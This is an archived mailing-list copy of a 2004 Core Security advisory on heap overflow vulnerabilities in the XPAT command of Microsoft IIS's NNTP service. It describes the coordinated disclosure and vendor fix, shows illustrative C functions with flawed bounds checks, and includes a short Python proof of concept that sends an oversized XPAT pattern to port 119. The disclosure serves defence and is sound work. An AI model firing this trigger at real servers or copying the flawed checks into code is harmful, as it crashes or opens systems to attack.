[VulnWatch] CORE-2004-0802: IIS NNTP Service XPAT Command Vulnerabilities

From: CORE Security Technologies Advisories (advisories_at_coresecurity.com)
Date: 10/12/04

  • Next message: wirepair: "Re: [VulnWatch] CORE-2004-0802: IIS NNTP Service XPAT Command Vulnerabilities"
    Date: Tue, 12 Oct 2004 15:48:49 -0300
    To: Bugtraq <bugtraq@securityfocus.com>, NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM, Vulnwatch <vulnwatch@vulnwatch.org>
    
    

                     Core Security Technologies Advisory
                         http://www.coresecurity.com

                IIS NNTP Service XPAT Command Vulnerabilities

    Date Published: 2004-10-12

    Last Update: 2004-10-12

    Advisory ID: CORE-2004-0802

    Bugtraq ID: Not assigned

    CVE Name: CAN-2004-0574

    Title: IIS NNTP Service XPAT Command Vulnerabilities

    Class: Boundary error condition

    Remotely Exploitable: Yes

    Locally Exploitable: Yes

    Advisory URL:
     http://www.coresecurity.com/common/showdoc.php?idx=420&idxseccion=10

    Vendors contacted:
    - Microsoft
      . 2004-08-16 Core Security Technologies sent draft advisory to vendor
      . 2004-08-16 Microsoft MSRC acknowledgement received
      . 2004-10-12 Microsoft releases a fix (MS04-036)
     
    Release Mode: COORDINATED RELEASE

    *Vulnerability Description:*

     Microsoft IIS provides organizations using it with the ability to
     service and route news using the Network News Transfer Protocol (NNTP)
     with the Microsoft NNTP service listening on port 119/tcp, and
     optionally on port 563/tcp for SSL encrypted connections.

     Multiple vulnerabilities were found in Microsoft IIS that could allow
     an attacker to execute arbitrary commands on vulnerable systems
     running the Microsoft IIS NNTP service.

     The Network News Transfer Protocol (NNTP) is fully described in
     RFC 977 [1]:
     "NNTP specifies a protocol for the distribution, inquiry, retrieval,
     and posting of news articles using a reliable stream-based
     transmission of news among Not assignedthe ARPA-Internet community.
     NNTP is designed so that news articles are stored in a central database
     allowing a subscriber to select only those items he wishes to read.
     Indexing, cross-referencing, and expiration of aged messages are also
     provided".

    *Vulnerable Packages:*

    . Microsoft Windows NT Server 4.0 Service Pack 6a NNTP component
    . Microsoft Windows 2000 Server Service Pack 3 NNTP component
      and Microsoft Windows 2000 Server Service Pack 4 NNTP component
    . Microsoft Windows Server 2003 NNTP Component
    . Microsoft Windows Server 2003 64-Bit Edition NNTP Component

    *Solution/Vendor Information/Workaround:*

     A fix for the vulnerabilities reported in this advisory is available
     as a Microsoft Security update at:
     http://www.microsoft.com/technet/security/bulletin/MS04-036.mspx

     A workaround is to disable the NNTP service. This will prevent attackers
     from exploiting the discovered vulnerabilities but will also make the
     NNTP services unavailable for legitimate users.

    *Credits:*

     These vulnerabilities were found by Lucas Lavarello and Juliano Rizzo
     from Core Security Technologies.

    *Technical Description - Exploit/Concept Code:*

     The Network News Transfer Protocol supports a number of different
     extensions. Extensions are described in RFC 2980 [2].
     
     This advisory is focused on the XPAT command.
     "The XPAT command is used to retrieve specific headers from specific
     articles, based on pattern matching on the contents of the header".

     The syntax of the XPAT command is:
     XPAT header range|<message-id> pat [pat...]

     The XPAT command doesn't require previous user authentication and
     hence we believe this should be considered a high risk vulnerability.
     
     The vulnerabilities were found in the parser and query translator of
     the XPAT command within the Network News Transfer Protocol service.

     The NNTP service translates calls to the XPAT command into an internal
     query format. As stated in its calling syntax, it accepts multiple
     patterns. Patterns as well as other parameters are delimited by tab
     and space characters.

     The vulnerabilities found reside in the methods that take care of
     parsing user-supplied ASCII values and append them translated to
     2-byte characters, as part of an internal query buffer.

     For better understanding, we have created example versions of the
     vulnerable methods that contain vulnerabilities.
     When compiled, these methods may not match exactly their original
     versions, but are meant to be taken as illustrative examples.

     The NNTP service allocates a 4000 bytes buffer that it uses to store
     the translated XPAT query to a 2-byte character format. It keeps track
     of how many words are left in the buffer using a global counter
     initially set to the value of '2000'. A pointer to the buffer as well
     as a pointer to the counter are used in every call to the vulnerable
     string-appending methods which take care of updating those values for
     any future calls.

     The methods differ if called for user-supplied pattern data or internal
     query language keywords. In both cases, incorrect bounds checking is
     performed, leading to off-by-two, off-by-four and heap overflow
     vulnerabilities.

     The following example demonstrates the miscalculations made in the
     method used to append internal query language keywords to the global
     destination buffer.

    ----------------------------------------------------------------------
    // The wstringappendkeywords function.
    // input:
    // pdestbuf - a pointer to pointer to a wchar destination buffer
    // srcbuf - a pointer to a char source buffer
    // spaceleft - a pointer to an integer with the amount of bytes left
    //
    // output:
    // pdestbuf - the pointer to pointer is updated to point after
    // the copied bytes
    // spaceleft - the integer is updated substracting the amount of
    // copied bytes.
    //
    // returns:
    // 1 on OK
    // 0 on FAIL - if there isn't enough space in the destination buffer

    int wstringappendkeyword (short **pdestbuf, char *srcbuf, unsigned int
    *spaceleft)
    {
    unsigned int count = 0;
    short *destbuf = *pdestbuf;

        if (srcbuf[count] != 0x00) {

            do {
                if (count > *spaceleft) {
                    //...
                    //not_enough_space handling code
                    //...
                    return 0;
                }

                destbuf[count] = (short)srcbuf[count];
                count++;

            } while(srcbuf[count] != 0x00);
        }

        *spaceleft -= count;
        *pdestbuf += count;

        return 1;
    }
    ----------------------------------------------------------------------

     As seen above, the function is checking 'count' to be only bigger than
     the amount of words left in the destination buffer. In the case of
     count being equal to the value pointed by the 'spaceleft' variable,
     2 bytes would be written past the end of destbuf's buffer.

     In its last iteration, the loop will check 'count' to be bigger than the
     amount of words and fail, aborting the whole call to the command.

     By passing a specific amount of bytes in the 'srcbuf' buffer, an
     attacker could break free from the copyloop before the 'spaceleft'
     check is done; decrementing the 'spaceleft' variable. Subtracting one
     from zero causes an unsigned integer variable to wrap under to
     0xFFFFFFFF, bypassing the existing defective bounds check. This way,
     any further attempts to copy data into the internal query buffer using
     this function will lead into a controllable heap overflow.

     The only barrier for exploitation is that this function is only called
     for appending hardcoded query language keywords to the buffer. This is
     where the next vulnerable method takes place.

     The rest of the vulnerabilities reside in the method used for translating
     and appending user-supplied patterns. The situation is similar to
     the one shown above except that the 'srcbuf' pointer holds data that is
     100% controllable by an attacker and that it's called sequentially
     for each supplied pattern.

     You will also notice this procedure permits an attacker to overwrite
     4 bytes past the end of 'destbuf' buffer introducing an off-by-four
     vulnerability.

    ----------------------------------------------------------------------
    // The wstringappendpatterns function.
    // input:
    // pdestbuf - a pointer to pointer to a wchar destination buffer
    // srcbuf - a pointer to a char source buffer
    // spaceleft - a pointer to an integer with the amount of bytes left
    //
    // output:
    // pdestbuf - the pointer to pointer is updated to point after the
    // copied bytes
    // spaceleft - the integer is updated substracting the amount of
    // copied bytes.
    //
    // returns:
    // 1 on OK
    // 0 on FAIL - if there isn't enough space in the destination buffer

    int wstringappendpatterns (short **pdestbuf, char *srcbuf, unsigned int
    *spaceleft)
    {
    unsigned int count = 0;
    short *destbuf = *pdestbuf;

        while (srcbuf[count] != 0x00) {
        
            if (count > *spaceleft) {
                //...
                //not_enough_space handling code
                //...
                return 0;
            }

            if (srcbuf[count] == '[') {
                destbuf[count] = (short)'|';
                count++;
                destbuf[count] = (short)'[';

            } else {
                destbuf[count] = (short)srcbuf[count];
            }

            count++;
        }

        *spaceleft -= count;
        *pdestbuf += count;

        return 1;
    }
    ----------------------------------------------------------------------

     Once again, having decremented spaceleft 'count' times, an attacker
     could make the value of the global remaining-words counter wrap under
     to 0xFFFFFFFF or 0xFFFFFFFE. By crafting multiple patterns of a
     specific length, an attacker could cause a controllable Heap overflow.

     The following proof-of-concept code written in Python demostrates the
     problems.

    ----------------------------------------------------------------------
    #--
    # IIS NNTP Service XPAT command heap overflow proof of concept
    #
    # Author:
    # Lucas Lavarello (lucas at coresecurity dot com)
    # Juliano Rizzo (juliano at coresecurity dot com)
    #
    # Copyright (c) 2001-2004 CORE Security Technologies, CORE SDI Inc.
    # All rights reserved.
    #
    # THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
    # WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI Inc. BE LIABLE
    # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR
    # CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF
    # THIS SOFTWARE
    #
    # http://www.coresecurity.com
    #--

    from socket import *

    host = "127.0.0.1"
    pat = "C"*1946 + " " + "X"*10

    newsgroup = "control.newgroup"

    sock = socket(AF_INET, SOCK_STREAM)
    sock.connect((host, 119))

    print sock.recv(512)

    sock.send("group %s\x0d\x0a" % newsgroup)

    print sock.recv(512)

    sock.send("xpat From 1-9 %s \x0d\x0a" % pat)
    ----------------------------------------------------------------------

    *References*

     [1] RFC 977: Network News Transfer Protocol
         http://www.faqs.org/rfcs/rfc977.html

     [2] RFC 2980: Common NNTP Extensions
         http://www.faqs.org/rfcs/rfc2980.html

    *About Core Security Technologies*

     Core Security Technologies develops strategic security solutions for
     Fortune 1000 corporations, government agencies and military
     organizations. The company offers information security software and
     services designed to assess risk and protect and manage information
     assets.
     Headquartered in Boston, MA, Core Security Technologies can be reached
     at 617-399-6980 or on the Web at http://www.coresecurity.com.

     To learn more about CORE IMPACT, the first comprehensive penetration
     testing product, visit:
     http://www.coresecurity.com/products/coreimpact

    *DISCLAIMER:*

     The contents of this advisory are copyright (c) 2004 CORE Security
     Technologies and may be distributed freely provided that no fee is
     charged for this distribution and proper credit is given.

    $Id: iis-nntp-advisory.txt,v 1.7 2004/10/12 18:33:16 carlos Exp $


  • Next message: wirepair: "Re: [VulnWatch] CORE-2004-0802: IIS NNTP Service XPAT Command Vulnerabilities"

    Relevant Pages

    • CORE-2004-0802: IIS NNTP Service XPAT Command Vulnerabilities
      ... IIS NNTP Service XPAT Command Vulnerabilities ... The NNTP service allocates a 4000 bytes buffer that it uses to store ...
      (NT-Bugtraq)
    • CORE-2004-0802: IIS NNTP Service XPAT Command Vulnerabilities
      ... IIS NNTP Service XPAT Command Vulnerabilities ... The NNTP service allocates a 4000 bytes buffer that it uses to store ...
      (Bugtraq)
    • Re: Conceal Identity
      ... While you can control the name and email address, ... is up to the NNTP server administrator. ... as you have configured it for posting in this news group. ... and NNTP service. ...
      (microsoft.public.windows.inetexplorer.ie6_outlookexpress)
    • Re: Conceal Identity
      ... How do I do a search on newsgroup headers? ... Your NNTP provider controls the rest. ... you have configured it for posting in this news group. ... and NNTP service. ...
      (microsoft.public.windows.inetexplorer.ie6_outlookexpress)